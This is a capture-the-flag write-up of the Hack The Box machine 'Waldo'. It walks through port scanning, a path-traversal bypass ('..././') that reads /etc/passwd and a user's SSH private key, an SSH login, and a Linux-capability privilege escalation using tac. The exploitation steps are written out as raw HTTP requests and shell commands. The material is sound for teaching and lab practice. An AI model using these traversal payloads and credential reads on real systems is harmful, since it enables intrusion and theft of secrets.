jebidiah-anthony
write-ups and what not
HTB Waldo (10.10.10.87)
PART 1 : INITIAL RECON
$ nmap --min-rate 1000 -p- -v 10.10.10.87 PORT STATE SERVICE 22/tcp open ssh 80/tcp open http $ nmap -p 22,80 -sC -sV -v 10.10.10.87 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.5 (protocol 2.0) | ssh-hostkey: | 2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA) | 256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA) |_ 256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519) 80/tcp open http nginx 1.12.2 | http-methods: |_ Supported Methods: GET HEAD POST |_http-server-header: nginx/1.12.2 | http-title: List Manager |_Requested resource was /list.html |_http-trane-info: Problem with XML parsing of /evox/about
PART 2 : PORT ENUMERATION
Opening http://10.10.10.87
brings you to a List Manager page:
It exhibits the following behavior when performing the following actions:
Opening the List Manager makes a POST request todirRead.php
:POST /dirRead.php HTTP/1.1 Host: 10.10.10.87 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.87/list.html Content-type: application/x-www-form-urlencoded Content-Length: 13 Connection: keep-alive path=./.list/
Opening a list makes a POST request tofileRead.php
:POST /fileRead.php HTTP/1.1 Host: 10.10.10.87 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.87/list.html Content-type: application/x-www-form-urlencoded Content-Length: 18 Connection: keep-alive file=./.list/list1
PART 3 : EXPLOITATION
Attempting to read the contents of dirRead.php
and fileRead.php
by using POST requests:
dirRead.php
:HTTP Request:
POST /fileRead.php HTTP/1.1 ...omitted... file=./dirRead.php
HTTP Response:
{"file":"<?php\n\nif($_SERVER['REQUEST_METHOD'] === \"POST\"){\n\tif(isset($_POST['path'])){\n\t\theader('Content-type: application\/json');\n\t\t$_POST['path'] = str_replace( array(\"..\/\", \"..\\\"\"), \"\", $_POST['path']);\n\t\techo json_encode(scandir(\"\/var\/www\/html\/\" . $_POST['path']));\n\t}else{\n\t\theader('Content-type: application\/json');\n\t\techo '[false]';\n\t}\n}\n"}
fileRead.php
:HTTP Request:
POST /fileRead.php HTTP/1.1 ...omitted... file=./fileRead.php
HTTP Response:
{"file":"<?php\n\n\nif($_SERVER['REQUEST_METHOD'] === \"POST\"){\n\t$fileContent['file'] = false;\n\theader('Content-Type: application\/json');\n\tif(isset($_POST['file'])){\n\t\theader('Content-Type: application\/json');\n\t\t$_POST['file'] = str_replace( array(\"..\/\", \"..\\\"\"), \"\", $_POST['file']);\n\t\tif(strpos($_POST['file'], \"user.txt\") === false){\n\t\t\t$file = fopen(\"\/var\/www\/html\/\" . $_POST['file'], \"r\");\n\t\t\t$fileContent['file'] = fread($file,filesize($_POST['file'])); \n\t\t\tfclose();\n\t\t}\n\t}\n\techo json_encode($fileContent);\n}\n"}
It exposes the PHP source code for both files:
dirRead.php
:<?php if($_SERVER['REQUEST_METHOD'] === "POST"){ if(isset($_POST['path'])){ header('Content-type: application/json'); $_POST['path'] = str_replace( array("../", "..\""), "", $_POST['path']); echo json_encode(scandir("/var/www/html/" . $_POST['path'])); }else{ header('Content-type: application/json'); echo '[false]'; } }
fileRead.php
:<?php if($_SERVER['REQUEST_METHOD'] === "POST"){ $fileContent['file'] = false; header('Content-Type: application/json'); if(isset($_POST['file'])){ header('Content-Type: application/json'); $_POST['file'] = str_replace( array("../", "..""), "", $_POST['file']); if(strpos($_POST['file'], "user.txt") === false){ $file = fopen("/var/www/html/" . $_POST['file'], "r"); $fileContent['file'] = fread($file,filesize($_POST['file'])); fclose(); } } echo json_encode($fileContent); }
From this, we could see that the base directory for the List Manager is at /var/www/html
and reading files outside the directory is prevented by converting ../
or .."
to an empty string. This could be bypassed by instead using …/./
since functions like this and preg_replace()
are not recursive.
Now, attempting to read files outside/var/www/html
:HTTP Request:
POST /fileRead.php HTTP/1.1 ...omitted... file=..././..././..././etc/passwd
HTTP Response:
{"file":"root:x:0:0:root:\/root:\/bin\/ash\nbin:x:1:1:bin:\/bin:\/sbin\/nologin\ndaemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\nadm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\nlp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\nsync:x:5:0:sync:\/sbin:\/bin\/sync\nshutdown:x:6:0:shutdown:\/sbin:\/sbin\/shutdown\nhalt:x:7:0:halt:\/sbin:\/sbin\/halt\nmail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\nnews:x:9:13:news:\/usr\/lib\/news:\/sbin\/nologin\nuucp:x:10:14:uucp:\/var\/spool\/uucppublic:\/sbin\/nologin\noperator:x:11:0:operator:\/root:\/bin\/sh\nman:x:13:15:man:\/usr\/man:\/sbin\/nologin\npostmaster:x:14:12:postmaster:\/var\/spool\/mail:\/sbin\/nologin\ncron:x:16:16:cron:\/var\/spool\/cron:\/sbin\/nologin\nftp:x:21:21::\/var\/lib\/ftp:\/sbin\/nologin\nsshd:x:22:22:sshd:\/dev\/null:\/sbin\/nologin\nat:x:25:25:at:\/var\/spool\/cron\/atjobs:\/sbin\/nologin\nsquid:x:31:31:Squid:\/var\/cache\/squid:\/sbin\/nologin\nxfs:x:33:33:X Font Server:\/etc\/X11\/fs:\/sbin\/nologin\ngames:x:35:35:games:\/usr\/games:\/sbin\/nologin\npostgres:x:70:70::\/var\/lib\/postgresql:\/bin\/sh\ncyrus:x:85:12::\/usr\/cyrus:\/sbin\/nologin\nvpopmail:x:89:89::\/var\/vpopmail:\/sbin\/nologin\nntp:x:123:123:NTP:\/var\/empty:\/sbin\/nologin\nsmmsp:x:209:209:smmsp:\/var\/spool\/mqueue:\/sbin\/nologin\nguest:x:405:100:guest:\/dev\/null:\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/home\/nobody:\/bin\/sh\nnginx:x:100:101:nginx:\/var\/lib\/nginx:\/sbin\/nologin\n"}
File Contents:
root:x:0:0:root:/root:/bin/ash ...omitted... operator:x:11:0:operator:/root:/bin/sh ...omitted... postgres:x:70:70::/var/lib/postgresql:/bin/sh ...omitted... nobody:x:65534:65534:nobody:/home/nobody:/bin/sh ...omitted...
PART 4 : GENERATE USER SHELL
Using the ability to read local files, let’s explore the user, nobody
's, home directory:
nobody
's home directoryHTTP Request:
POST /dirRead.php HTTP/1.1 ...omitted... path=..././..././..././home/nobody/
HTTP Response:
[".","..",".ash_history",".ssh",".viminfo","user.txt"]
The.ssh
directoryHTTP Request:
POST /dirRead.php HTTP/1.1 ...omitted... path=..././..././..././home/nobody/.ssh/
HTTP Response:
[".","..",".monitor","authorized_keys","known_hosts"]
The.monitor
fileHTTP Request:
POST /fileRead.php HTTP/1.1 ...omitted... file=..././..././..././home/nobody/.ssh/.monitor
HTTP Response:
{"file":"-----BEGIN RSA PRIVATE KEY-----\NMIIEOGIBAAKCAQEAS7SYTDE++NHAWB9E+NN3V5T1DP1TYHC+4O8D362L5NWF6CPL\NMR4JH6N4NCCDM1ZU+QB77LI8ZOVYMBTIEY4FM07X4PQT4ZENBFQKWKOCYV1TLW6F\N87S0FZBHYAIZGRNNELLHB1IZIJPDVJUBSXG6S2CXALE14CJ+PNEIRTSYMIQ1NJCS\NDGCC\/GNPW\/AANIN4VW9KSLLQIAEDJFCHY55SCJ5162Y9+I1XZQF8E9B12WVXIRVN\NO8PLGNFJVW6SHHMPJSUE9VJAIEH+N+5XKBC8\/6PCEOWQS9UJRKNZH9T1LJQ4FX1V\NVI93DAQ3BZ3DHIIWAWAFMQZG+JSTHSWOIWR73WIDAQABAOIBADHWL\/WDMUPEW6KU\NVMZHRU3GCJUZWBET0TNEJBL\/KXNWXR9B2I0DHWFG8IJW1LCU29NV8B+EHGP+BR\/6\NPKHMFP66350XYLNSQISHHIRMOSPYDGQVST4KBCP5VBTTDGC7RZF+EQZYEQFDRKW5\N8KUNPTTMNWWLPYYJLSJMSRSN4BQYT3VRKTYKJ9IGU2RRKGXRNDCAC9EXGRUEVJ3Q\N1H+7O8KGEPMKNEOGUGEJRN69HXYHFBEJ0WLLL8WORT9YUMMOX\/05QOOBL4KQXUM7\NVXI2YWU46+QTZTMEOKJOYLCGLYXDKG5ONDFDPBW3W8O6ULVFKV467M3ZB5YE8GES\NDVA3YLECGYEA7JK51MVUGSIFF6GKXSNB\/W2CZGE9TIXBWUQWEEIG0BMQQVX2ZWWO\NV0OG0X\/IROXACP6Z9WGPIC6FHVGJD\/4BNLTR+A\/LWQWFT1B6L03XDSYAIYIWI9XR\NXSB2SLNWP56A\/5TWTPOKFDBGCQRQHVUKWSHLYFOZGQA0ZTMNV71YKH0CGYEAWSSY\NQFFDAWRVVZJP26YF\/JNZAVLCAC5HMHO7EX5ISCVCX86MHQPEYAFCECZN2DFFOPQI\NYZHZGB9N6Z01YUEKQRKNO3TA6JYJ9OJAMF8GZWVUTPZN41KSND4MWETBED4BUAH1\N\/PACW\/+\/OYSH4BWKKNVHKNW36C+WMNOAX1FWQISCGYBYW\/IMNLA3DRM3CIAA32IU\NLROTP4QGAAMXPNCSMIPAGE6CRFVHIUOZ1SFNBV189Q8ZBM4PXQGKLLOJ8B33HDQ\/\NLNN2N1WYTIYEUGA\/QMDKOPB+TUFF1A5EZZZ0UR5WLLWA5NBEALDNOYTBK1P5N4KP\NW7UYNREX6DGOBT2MD+10CQKBGGVQLYUNE20K9QSHVZTU3E9Z1RL+6LLDMZTFC3G9\N1HLMBKDTJJJ\/XAJAZUIOF4RS\/INNKJ6+QYGKFAPRXXCPF9NACLQJAZGAMXW50AQT\NRJ1BHUCZZCUGQABTPC6VYJ\/HLLLZPIC05AIEHDDVTOPK\/0WUY64FDS0VCCAYMMDR\NX\/PLAOGAS6UHBCM5TWZHTL\/HDPROFAR3QKXWZ5XVAYKB90XGIPS5CWUGCCSVWQF2\NDVVNY8GKBM\/OENWHNTLWRTEJ5QDEAM40OJ\/MWCDC6KPV1LJXRW2R5MCH9ZGBNFLA\NW0IKCBUAM5XZGU\/YSKMSCBMNMA8A5NDRWGFEFE+VGDVPARIE0RO=\N-----END RSA PRIVATE KEY-----\N"}
We get a private key which we then could use to login via SSH with the user, nobody
:
Fix the permissions of the private key then login$ chmod 400 .monitor $ ssh -i .monitor -l nobody 10.10.10.87 $ id uid=65534(nobody) gid=65534(nobody) groups=65534(nobody) $ cat user.txt 3276........................9d24
PART 5 : LATERAL MOVEMENT (nobody → monitor)
There was nothing going on much with the user, nobody
, so when I re-examined the .ssh
directory, I noticed something in the authorized_keys
file:
Theauthorized_keys
file:$ cd ~/.ssh $ cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzuzK0MT740dpYH17403dXm3UM/VNgdz7ijwPfraXk3B/oKmWZHgk fqfg1xx2bVlT6oHvuWLxk6/KYG0gRjgWbTtfg+q3jN40F+opaQ5zJXVMtbp/zuzQVkGFgCLMas014suEHUhkiOkNUlR tJcbqzZzECV7XhyP6mcSJFOzIyKrWckJJ0YJz+A2lb8AA0g3i9b0qyUuqIAQMl9yFjnmwInnXrZj34jXHOoXx71vXbB VeKu82jw8sacUlXDpIeGY8my572+MAh4f6f7leRtzz/qlx6jCqz26NGQ3Mf1PWUmrgXHVW+L3cNqrdtnd2EghZpZp+a rOD6NJOFJY4jBHvf monitor@waldo
The private key, .monitor
, was originally created for the user, monitor
which doesn’t seem to be anywhere in this box so I tried to connect to monitor@waldo
from within the current shell using SSH.
Theauthorized_keys
file:$ ssh -i ~/.ssh/.monitor monitor@waldo -t sh $ id uid=1001(monitor) gid=1001(monitor) groups=1001(monitor)
I used the -t
option to force an inactive shell from the connection.
PART 6 : PRIVILEGE ESCALATION (monitor → root)
Enumerating the system:
The~/bin
directory:$ ls -l drwxrwx--- 3 app-dev monitor 4096 May 3 2018 app-dev dr-xr-x--- 2 root monitor 4096 May 3 2018 bin $ ls -lA ~/bin lrwxrwxrwx 1 root root 7 May 3 2018 ls -> /bin/ls lrwxrwxrwx 1 root root 13 May 3 2018 most -> /usr/bin/most lrwxrwxrwx 1 root root 7 May 3 2018 red -> /bin/ed lrwxrwxrwx 1 root root 9 May 3 2018 rnano -> /bin/nano
The files are symbolically linked to the /bin
and /usr/bin
directories so they must be standard binaries but maybe they can do much more:
Binary capabilities:$ getcap ~/bin/ sh: 8: getcap: not found $ find / -name getcap 2>/dev/null /sbin/getcap $ /sbin/getcap ~/bin/ $ /sbin/getcap /usr/bin/* /usr/bin/tac = cap_dac_read_search+ei
The binay, /usr/bin/tac
, has the linux capability, cap_dac_read_search
which means it could bypass file read permissions (execute permissions are also bypassed for directories) while +ei
means that the capability is effective and inheritable.
Readingroot.txt
:$ tac /root/root.txt 8fb6........................4f6c